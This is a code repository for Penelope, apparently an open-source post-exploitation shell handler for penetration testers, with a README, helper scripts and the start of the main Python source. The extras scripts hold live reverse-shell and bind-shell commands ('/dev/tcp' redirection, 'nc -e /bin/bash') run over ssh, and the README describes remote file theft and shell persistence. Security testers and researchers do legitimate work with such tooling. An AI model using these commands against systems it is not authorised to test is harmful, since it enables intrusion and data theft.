├── .gitignore ├── LICENSE ├── README.md ├── extras ├── exploit_bind.py ├── exploit_reverse.py ├── peneloperc └── tty_upgrade.sh ├── penelope.py └── pyproject.toml /.gitignore: -------------------------------------------------------------------------------- 1 | DEV 2 | 3 | # Byte-compiled / optimized / DLL files 4 | __pycache__/ 5 | *.py[cod] 6 | *$py.class 7 | 8 | # C extensions 9 | *.so 10 | 11 | # Distribution / packaging 12 | .Python 13 | build/ 14 | develop-eggs/ 15 | dist/ 16 | downloads/ 17 | eggs/ 18 | .eggs/ 19 | lib/ 20 | lib64/ 21 | parts/ 22 | sdist/ 23 | var/ 24 | wheels/ 25 | pip-wheel-metadata/ 26 | share/python-wheels/ 27 | *.egg-info/ 28 | .installed.cfg 29 | *.egg 30 | MANIFEST 31 | 32 | # PyInstaller 33 | # Usually these files are written by a python script from a template 34 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 35 | *.manifest 36 | *.spec 37 | 38 | # Installer logs 39 | pip-log.txt 40 | pip-delete-this-directory.txt 41 | 42 | # Unit test / coverage reports 43 | htmlcov/ 44 | .tox/ 45 | .nox/ 46 | .coverage 47 | .coverage.* 48 | .cache 49 | nosetests.xml 50 | coverage.xml 51 | *.cover 52 | *.py,cover 53 | .hypothesis/ 54 | .pytest_cache/ 55 | 56 | # Translations 57 | *.mo 58 | *.pot 59 | 60 | # Django stuff: 61 | *.log 62 | local_settings.py 63 | db.sqlite3 64 | db.sqlite3-journal 65 | 66 | # Flask stuff: 67 | instance/ 68 | .webassets-cache 69 | 70 | # Scrapy stuff: 71 | .scrapy 72 | 73 | # Sphinx documentation 74 | docs/_build/ 75 | 76 | # PyBuilder 77 | target/ 78 | 79 | # Jupyter Notebook 80 | .ipynb_checkpoints 81 | 82 | # IPython 83 | profile_default/ 84 | ipython_config.py 85 | 86 | # pyenv 87 | .python-version 88 | 89 | # pipenv 90 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 91 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 92 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 93 | # install all needed dependencies. 94 | #Pipfile.lock 95 | 96 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 97 | __pypackages__/ 98 | 99 | # Celery stuff 100 | celerybeat-schedule 101 | celerybeat.pid 102 | 103 | # SageMath parsed files 104 | *.sage.py 105 | 106 | # Environments 107 | .env 108 | .venv 109 | env/ 110 | venv/ 111 | ENV/ 112 | env.bak/ 113 | venv.bak/ 114 | 115 | # Spyder project settings 116 | .spyderproject 117 | .spyproject 118 | 119 | # Rope project settings 120 | .ropeproject 121 | 122 | # mkdocs documentation 123 | /site 124 | 125 | # mypy 126 | .mypy_cache/ 127 | .dmypy.json 128 | dmypy.json 129 | 130 | # Pyre type checker 131 | .pyre/ 132 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | Logo 3 |
4 |
5 | 6 |
7 | Penelope is a powerful shell handler built to simplify, accelerate, and optimize post-exploitation workflows. 8 | 9 | - It runs on all Unix-based systems (Linux, macOS, FreeBSD etc) 10 | - Requires **Python 3.6+** 11 | - It is **standalone** as it uses only Python’s standard library. 12 | 13 | ![Penelope](https://github.com/user-attachments/assets/b8e5cd84-60a5-4d79-b041-68bee901ab19) 14 | 15 | ## Install 16 | 17 | Penelope requires no installation - just download and execute the script: 18 | ```bash 19 | wget https://raw.githubusercontent.com/brightio/penelope/refs/heads/main/penelope.py && python3 penelope.py 20 | ``` 21 | For a more streamlined setup, it can be installed using: 22 | ```bash 23 | pipx install git+https://github.com/brightio/penelope 24 | ``` 25 | ## Features 26 | ### Session Features 27 | |Description|Unix with Python>=2.3| Unix without Python>=2.3|Windows| 28 | |-----------|:-------------------:|:-----------------------:|:-----:| 29 | |Auto-upgrade shell|PTY|PTY(*)|readline| 30 | |Real-time terminal resize|✅|✅|❌| 31 | |Logging shell activity|✅|✅|✅| 32 | |Download remote files/folders|✅|✅|✅| 33 | |Upload local/HTTP files/folders|✅|✅|✅| 34 | |In-memory local/HTTP script execution with real-time output downloading|✅|❌|❌| 35 | |Local port forwarding|✅|❌|❌| 36 | |Spawn shells on multiple tabs and/or hosts|✅|✅|❌| 37 | |Maintain X amount of active shells per host no matter what|✅|✅|❌| 38 | 39 | (*) opens a second TCP connection 40 | 41 | ### Global Features 42 | - Streamline interaction with the targets via modules 43 | - Multiple sessions 44 | - Multiple listeners 45 | - Serve files/folders via HTTP (-s switch) 46 | - Can be imported by python3 exploits and get shell on the same terminal (see [Extras](#Extras)) 47 | 48 | ### Modules 49 | ![Modules](https://github.com/user-attachments/assets/cb2c3e36-a051-4bff-9091-25b63a584235) 50 | 51 | #### Meterpreter module demonstration 52 | 53 | ![meterpreter](https://github.com/user-attachments/assets/b9cda69c-e25c-41e1-abe2-ce18ba13c4ed) 54 | 55 | Penelope can work in conjunction with metasploit exploits by disabling the default handler with `set DisablePayloadHandler True` 56 | 57 | ## Usage 58 | ### Sample Typical Usage 59 | ``` 60 | penelope # Listening for reverse shells on 0.0.0.0:4444 61 | penelope -a # Listening for reverse shells on 0.0.0.0:4444 and show reverse shell payloads based on the current Listeners 62 | penelope 5555 # Listening for reverse shells on 0.0.0.0:5555 63 | penelope 5555 -i eth0 # Listening for reverse shells on eth0:5555 64 | penelope 1111 2222 3333 # Listening for reverse shells on 0.0.0.0:1111, 0.0.0.0:2222, 0.0.0.0:3333 65 | penelope -c target 3333 # Connect to a bind shell on target:3333 66 | ``` 67 | 68 | ### Demonstrating Random Usage 69 | 70 | As shown in the below video, within only a few seconds we have easily: 71 | 1. A fully functional auto-resizable PTY shell while logging every interaction with the target 72 | 2. Execute the lastest version of Linpeas on the target without touching the disk and get the output on a local file in realtime 73 | 3. One more PTY shell in another tab 74 | 4. Uploaded the latest versions of LinPEAS and linux-smart-enumeration 75 | 5. Uploaded a local folder with custom scripts 76 | 6. Uploaded an exploit-db exploit directly from URL 77 | 7. Downloaded and opened locally a remote file 78 | 8. Downloaded the remote /etc directory 79 | 9. For every shell that may be killed for some reason, automatically a new one is spawned. This gives us a kind of persistence with the target 80 | 81 | https://github.com/brightio/penelope/assets/65655412/7295da32-28e2-4c92-971f-09423eeff178 82 | 83 | ### Main Menu Commands 84 | Some Notes: 85 | - By default you need to press `F12` to detach the PTY shell and go to the Main Menu. If the upgrade was not possible the you ended up with a basic shell, you can detach it with `Ctrl+C`. This also prevents the accidental killing of the shell. 86 | - The Main Menu supports TAB completion and also short commands. For example instead of `interact 1` you can just type `i 1`. 87 | 88 | ![Main Menu](https://github.com/user-attachments/assets/b3f568bc-5e66-4e6f-9510-3e61a3518e82) 89 | 90 | ### Command Line Options 91 | ``` 92 | positional arguments: 93 | ports Ports to listen/connect to, depending on -i/-c options. Default: 4444 94 | 95 | Reverse or Bind shell?: 96 | -i , --interface Interface or IP address to listen on. Default: 0.0.0.0 97 | -c , --connect Bind shell Host 98 | 99 | Hints: 100 | -a, --payloads Show sample payloads for reverse shell based on the registered Listeners 101 | -l, --interfaces Show the available network interfaces 102 | -h, --help show this help message and exit 103 | 104 | Session Logging: 105 | -L, --no-log Do not create session log files 106 | -T, --no-timestamps Do not include timestamps in session logs 107 | -CT, Do not color timestamps in session logs 108 | 109 | Misc: 110 | -m , --maintain Maintain NUM total shells per target 111 | -M, --menu Just land to the Main Menu 112 | -S, --single-session Accommodate only the first created session 113 | -C, --no-attach Disable auto attaching sessions upon creation 114 | -U, --no-upgrade Do not upgrade shells 115 | 116 | File server: 117 | -s, --serve HTTP File Server mode 118 | -p , --port File Server port. Default: 8000 119 | -prefix URL prefix 120 | 121 | Debug: 122 | -N , --no-bins Simulate binary absence on target (comma separated list) 123 | -v, --version Show Penelope version 124 | -d, --debug Show debug messages 125 | -dd, --dev-mode Developer mode 126 | -cu, --check-urls Check health of hardcoded URLs 127 | 128 | ``` 129 | 130 | ## Contribution 131 | Your contributions are invaluable! If you’d like to help, please report bugs, unexpected behaviors, or share new ideas. You can also submit pull requests but avoid making commits from IDEs that enforce PEP8 and unintentionally restructure the entire codebase. 132 | 133 | ## TODO 134 | 135 | ### Features 136 | * remote port forwarding 137 | * socks & http proxy 138 | * persistence modules 139 | * team server 140 | * currently spawn/script/portfwd commands are supported only on Unix shells. Those need to be implemented for Windows shells too. 141 | * an option switch for disable all logging, not only sessions. 142 | * main menu autocompletion for short commands 143 | * download/upload autocompletion 144 | * IPv6 support 145 | * encryption 146 | * UDP support 147 | 148 | ### Known Issues 149 | * Main menu: Ctrl-C on main menu has not the expected behavior yet. 150 | * Session logging: when executing commands on the target that feature alternate buffers like nano and they are abnormally terminated, then when 'catting' the logfile it seems corrupted. However the data are still there. Also for example when resetting the remote terminal, these escape sequences are reflected in the logs. I will need to filter specific escape sequences so as to ensure that when 'catting' the logfile, a smooth log is presented. 151 | 152 | ## Trivia 153 | Penelope was the wife of Odysseus and she is known for her fidelity for him by waiting years. Since a characteristic of reverse shell handlers is waiting, this tool is named after her. 154 | 155 | ## Thanks to the early birds 156 | * [Cristian Grigoriu - @crgr](https://github.com/crgr) for inspiring me to automate the PTY upgrade process. This is how this project was born. 157 | * [Paul Taylor - @bao7uo](https://github.com/bao7uo) for the idea to support bind shells. 158 | * [Longlone - @WAY29](https://github.com/WAY29) for indicating the need for compatibility with previous versions of Python (3.6). 159 | * [Carlos Polop - @carlospolop](https://github.com/carlospolop) for the idea to spawn shells on listeners on other systems. 160 | * [@darrenmartyn](https://github.com/darrenmartyn) for indicating an alternative method to upgrade the shell to PTY using the script command. 161 | * [@robertstrom](https://github.com/robertstrom), [@terryf82](https://github.com/terryf82), [@RamadhanAmizudin](https://github.com/RamadhanAmizudin), [@furkan-enes-polatoglu](https://github.com/furkan-enes-polatoglu), [@DerekFost](https://github.com/DerekFost), [@Mag1cByt3s](https://github.com/Mag1cByt3s), [@nightingalephillip](https://github.com/nightingalephillip), [@grisuno](https://github.com/grisuno), [@thomas-br](https://github.com/thomas-br), [@joshoram80](https://github.com/joshoram80), [@TheAalCh3m1st](https://github.com/TheAalCh3m1st), [@r3pek](https://github.com/r3pek), [@six-two](https://github.com/six-two) for bug reporting. 162 | -------------------------------------------------------------------------------- /extras/exploit_bind.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | SSH_USER = 'root' 4 | TARGET = "192.168.0.101" 5 | PORT = 10000 6 | 7 | # RCE simulation 8 | import subprocess 9 | subprocess.call(['ssh',f'{SSH_USER}@{TARGET}','-f',f"nc -klp {PORT} -e /bin/bash"],stdin=subprocess.DEVNULL,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) 10 | 11 | # Penelope 12 | import penelope # Importing penelope 13 | penelope.options.silent = True # Optionally 14 | penelope.options.single_session = True # Optionally 15 | penelope.Connect(TARGET, PORT) # Connect to bind shell 16 | -------------------------------------------------------------------------------- /extras/exploit_reverse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # Penelope 4 | import penelope # Importing penelope 5 | penelope.options.silent = True # Optionally 6 | penelope.options.single_session = True # Optionally 7 | penelope.Listener() # Starting the listener 8 | 9 | # RCE simulation 10 | import subprocess 11 | TARGET_IP = '192.168.0.101' 12 | MY_IP = '192.168.0.2' 13 | SSH_USER = 'root' 14 | subprocess.Popen(['ssh',f'{SSH_USER}@{TARGET_IP}',f"bash -c 'sh >& /dev/tcp/{MY_IP}/4444 0>&1'"],stdin=subprocess.DEVNULL,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) 15 | -------------------------------------------------------------------------------- /extras/peneloperc: -------------------------------------------------------------------------------- 1 | options.default_listener_port = 9999 2 | options.escape = {'sequence': b'\x10', 'key': 'Control-P'} 3 | 4 | class my_custom_module(Module): 5 | def run(sesson): 6 | """ 7 | This is my custom module 8 | """ 9 | session.exec("ls") 10 | -------------------------------------------------------------------------------- /extras/tty_upgrade.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | WAIT=5 4 | 5 | echo "Go to the UNIX shell that needs upgrade" 6 | 7 | while [ $WAIT -gt 0 ] 8 | do 9 | echo Seconds left: "$WAIT" 10 | sleep 1 11 | WAIT=`expr $WAIT - 1` 12 | done 13 | 14 | ROWS=`tput lines` 15 | COLUMNS=`tput cols` 16 | 17 | xdotool type $'python3 -c "import pty; pty.spawn(\'/bin/bash\')" || python -c "import pty; pty.spawn(\'/bin/bash\')"' 18 | xdotool key Return 19 | xdotool type 'export TERM=xterm-256color' 20 | xdotool key Return 21 | xdotool type 'export SHELL=/bin/bash' 22 | xdotool key Return 23 | xdotool key ctrl+z 24 | xdotool type 'stty raw -echo;fg' 25 | xdotool key Return 26 | xdotool type "stty rows $ROWS columns $COLUMNS" 27 | xdotool key Return 28 | xdotool type reset 29 | xdotool key Return 30 | 31 | -------------------------------------------------------------------------------- /penelope.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Copyright © 2021 - 2025 @brightio 4 | 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | 18 | __program__= "penelope" 19 | __version__ = "0.13.9" 20 | 21 | import os 22 | import io 23 | import re 24 | import sys 25 | import tty 26 | import ssl 27 | import time 28 | import shlex 29 | import queue 30 | import struct 31 | import shutil 32 | import socket 33 | import signal 34 | import base64 35 | import termios 36 | import tarfile 37 | import logging 38 | import zipfile 39 | import inspect 40 | import warnings 41 | import platform 42 | import threading 43 | import subprocess 44 | import socketserver 45 | 46 | from math import ceil 47 | from glob import glob 48 | from json import dumps 49 | from code import interact 50 | from zlib import compress 51 | from errno import EADDRINUSE, EADDRNOTAVAIL 52 | from select import select 53 | from pathlib import Path 54 | from argparse import ArgumentParser 55 | from datetime import datetime 56 | from textwrap import indent, dedent 57 | from binascii import Error as binascii_error 58 | from functools import wraps 59 | from collections import deque, defaultdict 60 | from http.server import SimpleHTTPRequestHandler 61 | from urllib.parse import unquote 62 | from urllib.error import HTTPError, URLError 63 | from urllib.request import Request, urlopen 64 | 65 | ################################## PYTHON MISSING BATTERIES #################################### 66 | from random import choice 67 | from string import ascii_letters 68 | rand = lambda _len: ''.join(choice(ascii_letters) for i in range(_len)) 69 | caller = lambda: inspect.stack()[2].function 70 | bdebug = lambda file, data: open("/tmp/" + file, "a").write(repr(data) + "\n") 71 | chunks = lambda string, length: (string[0 + i:length + i] for i in range(0, len(string), length)) 72 | pathlink = lambda path: f'\x1b]8;;file://{path.parents[0]}\x07{path.parents[0]}{os.path.sep}\x1b]8;;\x07\x1b]8;;file://{path}\x07{path.name}\x1b]8;;\x07' 73 | normalize_path = lambda path: os.path.normpath(os.path.expandvars(os.path.expanduser(path))) 74 | 75 | def Open(item, terminal=False): 76 | if myOS != 'Darwin' and not DISPLAY: 77 | logger.error("No available $DISPLAY") 78 | return False 79 | 80 | if not terminal: 81 | program = 'xdg-open' if myOS != 'Darwin' else 'open' 82 | args = [item] 83 | else: 84 | if not TERMINAL: 85 | logger.error("No available terminal emulator") 86 | return False 87 | 88 | if myOS != 'Darwin': 89 | program = TERMINAL 90 | _switch = '-e' 91 | if program in ('gnome-terminal', 'mate-terminal'): 92 | _switch = '--' 93 | elif program == 'terminator': 94 | _switch = '-x' 95 | elif program == 'xfce4-terminal': 96 | _switch = '--command=' 97 | args = [_switch, *shlex.split(item)] 98 | else: 99 | program = 'osascript' 100 | args = ['-e', f'tell app "Terminal" to do script "{item}"'] 101 | 102 | if not shutil.which(program): 103 | logger.error(f"Cannot open window: '{program}' binary does not exist") 104 | return False 105 | 106 | process = subprocess.Popen( 107 | (program, *args), 108 | stdin=subprocess.DEVNULL, 109 | stdout=subprocess.DEVNULL, 110 | stderr=subprocess.PIPE 111 | ) 112 | r, _, _ = select([process.stderr], [], [], .01) 113 | if process.stderr in r: 114 | error = os.read(process.stderr.fileno(), 1024) 115 | if error: 116 | logger.error(error.decode()) 117 | return False 118 | return True 119 | 120 | 121 | class Interfaces: 122 | 123 | def __str__(self): 124 | table = Table(joinchar=' : ') 125 | table.header = [paint('Interface').MAGENTA, paint('IP Address').MAGENTA] 126 | for name, ip in self.list.items(): 127 | table += [paint(name).cyan, paint(ip).yellow] 128 | return str(table) 129 | 130 | def oneLine(self): 131 | return '(' + str(self).replace('\n', '|') + ')' 132 | 133 | def translate(self, interface_name): 134 | if interface_name in self.list: 135 | return self.list[interface_name] 136 | elif interface_name in ('any', 'all'): 137 | return '0.0.0.0' 138 | else: 139 | return interface_name 140 | 141 | @staticmethod 142 | def ipa(busybox=False): 143 | interfaces = [] 144 | current_interface = None 145 | params = ['ip', 'addr'] 146 | if busybox: 147 | params.insert(0, 'busybox') 148 | for line in subprocess.check_output(params).decode().splitlines(): 149 | interface = re.search(r"^\d+: (.+?):", line) 150 | if interface: 151 | current_interface = interface[1] 152 | continue 153 | if current_interface: 154 | ip = re.search(r"inet (\d+\.\d+\.\d+\.\d+)", line) 155 | if ip: 156 | interfaces.append((current_interface, ip[1])) 157 | current_interface = None # TODO support multiple IPs in one interface 158 | return interfaces 159 | 160 | @staticmethod 161 | def ifconfig(): 162 | output = subprocess.check_output(['ifconfig']).decode() 163 | return re.findall(r'^(\w+).*?\n\s+inet (?:addr:)?(\d+\.\d+\.\d+\.\d+)', output, re.MULTILINE | re.DOTALL) 164 | 165 | @property 166 | def list(self): 167 | if shutil.which("ip"): 168 | interfaces = self.ipa() 169 | 170 | elif shutil.which("ifconfig"): 171 | interfaces = self.ifconfig() 172 | 173 | elif shutil.which("busybox"): 174 | interfaces = self.ipa(busybox=True) 175 | else: 176 | logger.error("'ip', 'ifconfig' and 'busybox' commands are not available. (Really???)") 177 | return dict() 178 | 179 | return {i[0]:i[1] for i in interfaces} 180 | 181 | @property 182 | def list_all(self): 183 | return [item for item in list(self.list.keys()) + list(self.list.values())] 184 | 185 | 186 | class Table: 187 | 188 | def __init__(self, list_of_lists=[], header=None, fillchar=" ", joinchar=" "): 189 | self.list_of_lists = list_of_lists 190 | 191 | self.joinchar = joinchar 192 | 193 | if type(fillchar) is str: 194 | self.fillchar = [fillchar] 195 | elif type(fillchar) is list: 196 | self.fillchar = fillchar 197 | # self.fillchar[0] = self.fillchar[0][0] 198 | 199 | self.data = [] 200 | self.max_row_len = 0 201 | self.col_max_lens = [] 202 | if header: self.header = header 203 | for row in self.list_of_lists: 204 | self += row 205 | 206 | @property 207 | def header(self): 208 | ... 209 | 210 | @header.setter 211 | def header(self, header): 212 | self.add_row(header, header=True) 213 | 214 | def __str__(self): 215 | self.fill() 216 | return "\n".join([self.joinchar.join(row) for row in self.data]) 217 | 218 | def __len__(self): 219 | return len(self.data) 220 | 221 | def add_row(self, row, header=False): 222 | row_len = len(row) 223 | if row_len > self.max_row_len: 224 | self.max_row_len = row_len 225 | 226 | cur_col_len = len(self.col_max_lens) 227 | for _ in range(row_len - cur_col_len): 228 | self.col_max_lens.append(0) 229 | 230 | for _ in range(cur_col_len - row_len): 231 | row.append("") 232 | 233 | new_row = [] 234 | for index, element in enumerate(row): 235 | if not isinstance(element, (str, paint)): 236 | element = str(element) 237 | elem_length = len(element) 238 | new_row.append(element) 239 | if elem_length > self.col_max_lens[index]: 240 | self.col_max_lens[index] = elem_length 241 | 242 | if header: 243 | self.data.insert(0, new_row) 244 | else: 245 | self.data.append(new_row) 246 | 247 | def __iadd__(self, row): 248 | self.add_row(row) 249 | return self 250 | 251 | def fill(self): 252 | for row in self.data: 253 | for index, element in enumerate(row): 254 | fillchar = ' ' 255 | if index in [*self.fillchar][1:]: 256 | fillchar = self.fillchar[0] 257 | row[index] = element + fillchar * (self.col_max_lens[index] - len(element)) 258 | 259 | 260 | class Size: 261 | units = ("", "K", "M", "G", "T", "P", "E", "Z", "Y") 262 | def __init__(self, _bytes): 263 | self.bytes = _bytes 264 | 265 | def __str__(self): 266 | index = 0 267 | new_size = self.bytes 268 | while new_size >= 1024 and index < len(__class__.units) - 1: 269 | new_size /= 1024 270 | index += 1 271 | return f"{new_size:.1f} {__class__.units[index]}Bytes" 272 | 273 | @classmethod 274 | def from_str(cls, string): 275 | if string.isnumeric(): 276 | _bytes = int(string) 277 | else: 278 | try: 279 | num, unit = int(string[:-1]), string[-1] 280 | _bytes = num * 1024 ** __class__.units.index(unit) 281 | except: 282 | logger.error("Invalid size specified") 283 | return # TEMP 284 | return cls(_bytes) 285 | 286 | 287 | from datetime import timedelta 288 | from threading import Thread, RLock, current_thread 289 | class PBar: 290 | pbars = [] 291 | 292 | def __init__(self, end, caption="", barlen=None, queue=None, metric=None): 293 | self.end = end 294 | if type(self.end) is not int: self.end = len(self.end) 295 | self.active = True if self.end > 0 else False 296 | self.pos = 0 297 | self.percent = 0 298 | self.caption = caption 299 | self.bar = '#' 300 | self.barlen = barlen 301 | self.percent_prev = -1 302 | self.queue = queue 303 | self.metric = metric 304 | self.check_interval = 1 305 | if self.queue: self.trace_thread = Thread(target=self.trace); self.trace_thread.start(); __class__.render_lock = RLock() 306 | if self.metric: Thread(target=self.watch_speed, daemon=True).start() 307 | else: self.metric = lambda x: f"{x:,}" 308 | __class__.pbars.append(self) 309 | print("\x1b[?25l", end='', flush=True) 310 | self.render() 311 | 312 | def __bool__(self): 313 | return self.active 314 | 315 | def __enter__(self): 316 | return self 317 | 318 | def __exit__(self, exc_type, exc_value, traceback): 319 | self.terminate() 320 | 321 | def trace(self): 322 | while True: 323 | data = self.queue.get() 324 | self.queue.task_done() 325 | if isinstance(data, int): self.update(data) 326 | elif data is None: break 327 | else: self.print(data) 328 | 329 | def watch_speed(self): 330 | self.pos_prev = 0 331 | self.elapsed = 0 332 | while self: 333 | time.sleep(self.check_interval) 334 | self.elapsed += self.check_interval 335 | self.speed = self.pos - self.pos_prev 336 | self.pos_prev = self.pos 337 | self.speed_avg = self.pos / self.elapsed 338 | if self.speed_avg: self.eta = int(self.end / self.speed_avg) - self.elapsed 339 | if self: self.render() 340 | 341 | def update(self, step=1): 342 | if not self: return False 343 | self.pos += step 344 | if self.pos >= self.end: self.pos = self.end 345 | self.percent = int(self.pos * 100 / self.end) 346 | if self.pos >= self.end: self.terminate() 347 | if self.percent > self.percent_prev: self.render() 348 | 349 | def render_one(self): 350 | self.percent_prev = self.percent 351 | left = f"{self.caption}[" 352 | elapsed = "" if not hasattr(self, 'elapsed') else f" | Elapsed {timedelta(seconds=self.elapsed)}" 353 | speed = "" if not hasattr(self, 'speed') else f" | {self.metric(self.speed)}/s" 354 | eta = "" if not hasattr(self, 'eta') else f" | ETA {timedelta(seconds=self.eta)}" 355 | right = f"] {str(self.percent).rjust(3)}% ({self.metric(self.pos)}/{self.metric(self.end)}){speed}{elapsed}{eta}" 356 | bar_space = self.barlen or os.get_terminal_size().columns - len(left) - len(right) 357 | bars = int(self.percent * bar_space / 100) * self.bar 358 | print(f'\x1b[2K{left}{bars.ljust(bar_space, ".")}{right}\n', end='', flush=True) 359 | 360 | def render(self): 361 | if hasattr(__class__, 'render_lock'): __class__.render_lock.acquire() 362 | for pbar in __class__.pbars: pbar.render_one() 363 | print(f"\x1b[{len(__class__.pbars)}A", end='', flush=True) 364 | if hasattr(__class__, 'render_lock'): __class__.render_lock.release() 365 | 366 | def print(self, data): 367 | if hasattr(__class__, 'render_lock'): __class__.render_lock.acquire() 368 | print(f"\x1b[2K{data}", flush=True) 369 | self.render() 370 | if hasattr(__class__, 'render_lock'): __class__.render_lock.release() 371 | 372 | def terminate(self): 373 | if self.queue and current_thread() != self.trace_thread: self.queue.join(); self.queue.put(None) 374 | if hasattr(__class__, 'render_lock'): __class__.render_lock.acquire() 375 | if not self: return 376 | self.active = False 377 | if hasattr(self, 'eta'): del self.eta 378 | if not any(__class__.pbars): 379 | self.render() 380 | print("\x1b[?25h" + '\n' * len(__class__.pbars), end='', flush=True) 381 | __class__.pbars.clear() 382 | if hasattr(__class__, 'render_lock'): __class__.render_lock.release() 383 | 384 | 385 | class paint: 386 | _codes = {'RESET':0, 'BRIGHT':1, 'DIM':2, 'UNDERLINE':4, 'BLINK':5, 'NORMAL':22} 387 | _colors = {'black':0, 'red':1, 'green':2, 'yellow':3, 'blue':4, 'magenta':5, 'cyan':6, 'white':231, 'orange':136} 388 | _escape = lambda codes: f"\001\x1b[{codes}m\002" 389 | 390 | def __init__(self, text=None, colors=None): 391 | self.text = str(text) if text is not None else None 392 | self.colors = colors if colors is not None else [] 393 | 394 | def __str__(self): 395 | if self.colors: 396 | content = self.text + __class__._escape(__class__._codes['RESET']) if self.text is not None else '' 397 | return __class__._escape(';'.join(self.colors)) + content 398 | return self.text 399 | 400 | def __len__(self): 401 | return len(self.text) 402 | 403 | def __add__(self, text): 404 | return str(self) + str(text) 405 | 406 | def __mul__(self, num): 407 | return __class__(self.text * num, self.colors) 408 | 409 | def __getattr__(self, attr): 410 | self.colors.clear() 411 | for color in attr.split('_'): 412 | if color in __class__._codes: 413 | self.colors.append(str(__class__._codes[color])) 414 | else: 415 | prefix = "3" if color in __class__._colors else "4" 416 | self.colors.append(prefix + "8;5;" + str(__class__._colors[color.lower()])) 417 | return self 418 | 419 | 420 | class CustomFormatter(logging.Formatter): 421 | def __init__(self, *args, **kwargs): 422 | super().__init__(*args, **kwargs) 423 | self.templates = { 424 | logging.CRITICAL: {'color':"RED", 'prefix':"[!!!]"}, 425 | logging.ERROR: {'color':"red", 'prefix':"[-]"}, 426 | logging.WARNING: {'color':"yellow", 'prefix':"[!]"}, 427 | logging.TRACE: {'color':"cyan", 'prefix':"[•]"}, 428 | logging.INFO: {'color':"green", 'prefix':"[+]"}, 429 | logging.DEBUG: {'color':"magenta", 'prefix':"[DEBUG]"} 430 | } 431 | 432 | def format(self, record): 433 | template = self.templates[record.levelno] 434 | 435 | thread = "" 436 | if record.levelno is logging.DEBUG or options.debug: 437 | thread = paint(" ") + 